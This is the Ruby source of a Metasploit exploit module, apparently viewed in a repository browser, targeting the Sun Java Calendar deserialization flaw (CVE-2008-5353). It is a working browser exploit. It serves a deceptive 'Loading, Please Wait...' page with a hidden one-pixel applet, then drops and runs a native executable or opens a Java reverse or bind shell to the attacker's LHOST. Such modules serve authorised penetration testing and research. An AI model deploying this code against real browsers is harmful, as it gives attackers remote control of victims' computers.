root / modules / exploits / multi / browser / java_calendar_deserialize.rb @ master
History | View | Annotate | Download (5 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
require 'rex'
|
| 14 |
|
| 15 |
class Metasploit3 < Msf::Exploit::Remote |
| 16 |
Rank = ExcellentRanking |
| 17 |
|
| 18 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 19 |
include Msf::Exploit::EXE |
| 20 |
|
| 21 |
include Msf::Exploit::Remote::BrowserAutopwn |
| 22 |
autopwn_info({ :javascript => false })
|
| 23 |
|
| 24 |
def initialize( info = {} ) |
| 25 |
|
| 26 |
super( update_info( info,
|
| 27 |
'Name' => 'Sun Java Calendar Deserialization Exploit', |
| 28 |
'Description' => %q{ |
| 29 |
This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM. |
| 30 |
|
| 31 |
The payload can be either a native payload which is generated as an executable and |
| 32 |
dropped/executed on the target or a shell from within the Java applet in the target browser. |
| 33 |
|
| 34 |
The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16 |
| 35 |
and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected). |
| 36 |
},
|
| 37 |
'License' => MSF_LICENSE, |
| 38 |
'Author' => [ 'sf', 'hdm' ], |
| 39 |
'Version' => '$Revision$', |
| 40 |
'References' =>
|
| 41 |
[ |
| 42 |
[ 'CVE', '2008-5353' ], |
| 43 |
[ 'OSVDB', '50500'], |
| 44 |
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ], |
| 45 |
[ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ], |
| 46 |
[ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ], |
| 47 |
[ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1' ] |
| 48 |
], |
| 49 |
'Platform' => [ 'win', 'osx', 'linux', 'solaris' ], |
| 50 |
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, |
| 51 |
'Targets' =>
|
| 52 |
[ |
| 53 |
[ 'Generic (Java Payload)',
|
| 54 |
{
|
| 55 |
'Platform' => ['java'], |
| 56 |
'Arch' => ARCH_JAVA, |
| 57 |
} |
| 58 |
], |
| 59 |
[ 'Windows x86 (Native Payload)',
|
| 60 |
{
|
| 61 |
'Platform' => 'win', |
| 62 |
'Arch' => ARCH_X86, |
| 63 |
} |
| 64 |
], |
| 65 |
[ 'Mac OS X PPC (Native Payload)',
|
| 66 |
{
|
| 67 |
'Platform' => 'osx', |
| 68 |
'Arch' => ARCH_PPC, |
| 69 |
} |
| 70 |
], |
| 71 |
[ 'Mac OS X x86 (Native Payload)',
|
| 72 |
{
|
| 73 |
'Platform' => 'osx', |
| 74 |
'Arch' => ARCH_X86, |
| 75 |
} |
| 76 |
], |
| 77 |
[ 'Linux x86 (Native Payload)',
|
| 78 |
{
|
| 79 |
'Platform' => 'linux', |
| 80 |
'Arch' => ARCH_X86, |
| 81 |
} |
| 82 |
], |
| 83 |
], |
| 84 |
'DefaultTarget' => 0, |
| 85 |
'DisclosureDate' => 'Dec 03 2008' |
| 86 |
)) |
| 87 |
end
|
| 88 |
|
| 89 |
|
| 90 |
def exploit |
| 91 |
# load the static jar file
|
| 92 |
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5353.jar" ) |
| 93 |
fd = File.open( path, "rb" ) |
| 94 |
@jar_data = fd.read(fd.stat.size)
|
| 95 |
fd.close |
| 96 |
|
| 97 |
super
|
| 98 |
end
|
| 99 |
|
| 100 |
|
| 101 |
def on_request_uri( cli, request ) |
| 102 |
data = nil
|
| 103 |
host = nil
|
| 104 |
port = nil
|
| 105 |
|
| 106 |
if not request.uri.match(/\.jar$/i) |
| 107 |
if not request.uri.match(/\/$/) |
| 108 |
send_redirect( cli, get_resource() + '/', '') |
| 109 |
return
|
| 110 |
end
|
| 111 |
|
| 112 |
print_status("#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...")
|
| 113 |
|
| 114 |
payload = regenerate_payload( cli ) |
| 115 |
if not payload |
| 116 |
print_error( "Failed to generate the payload." )
|
| 117 |
return
|
| 118 |
end
|
| 119 |
|
| 120 |
if target.name == 'Generic (Java Payload)' |
| 121 |
if datastore['LHOST'] |
| 122 |
jar = payload.encoded |
| 123 |
host = datastore['LHOST']
|
| 124 |
port = datastore['LPORT']
|
| 125 |
print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." )
|
| 126 |
else
|
| 127 |
port = datastore['LPORT']
|
| 128 |
datastore['RHOST'] = cli.peerhost
|
| 129 |
print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." )
|
| 130 |
end
|
| 131 |
if jar
|
| 132 |
print_status( "Generated jar to drop (#{jar.length} bytes)." )
|
| 133 |
jar = Rex::Text.to_hex( jar, prefix="" ) |
| 134 |
else
|
| 135 |
print_error( "Failed to generate the executable." )
|
| 136 |
return
|
| 137 |
end
|
| 138 |
else
|
| 139 |
|
| 140 |
# NOTE: The EXE mixin automagically handles detection of arch/platform
|
| 141 |
data = generate_payload_exe |
| 142 |
|
| 143 |
if data
|
| 144 |
print_status( "Generated executable to drop (#{data.length} bytes)." )
|
| 145 |
data = Rex::Text.to_hex( data, prefix="" ) |
| 146 |
else
|
| 147 |
print_error( "Failed to generate the executable." )
|
| 148 |
return
|
| 149 |
end
|
| 150 |
|
| 151 |
end
|
| 152 |
|
| 153 |
send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
|
| 154 |
return
|
| 155 |
end
|
| 156 |
|
| 157 |
print_status( "#{self.name} sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
|
| 158 |
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
|
| 159 |
|
| 160 |
handler( cli ) |
| 161 |
end
|
| 162 |
|
| 163 |
def generate_html( data, jar, host, port ) |
| 164 |
html = "<html><head><title>Loading, Please Wait...</title></head>"
|
| 165 |
html += "<body><center><p>Loading, Please Wait...</p></center>"
|
| 166 |
html += "<applet archive=\"Applet.jar\" code=\"msf.x.AppletX.class\" width=\"1\" height=\"1\">"
|
| 167 |
html += "<param name=\"data\" value=\"#{data}\"/>" if data |
| 168 |
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar |
| 169 |
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host |
| 170 |
html += "<param name=\"lport\" value=\"#{port}\"/>" if port |
| 171 |
html += "</applet></body></html>"
|
| 172 |
return html
|
| 173 |
end
|
| 174 |
|
| 175 |
def generate_jar() |
| 176 |
return @jar_data |
| 177 |
end
|
| 178 |
|
| 179 |
end
|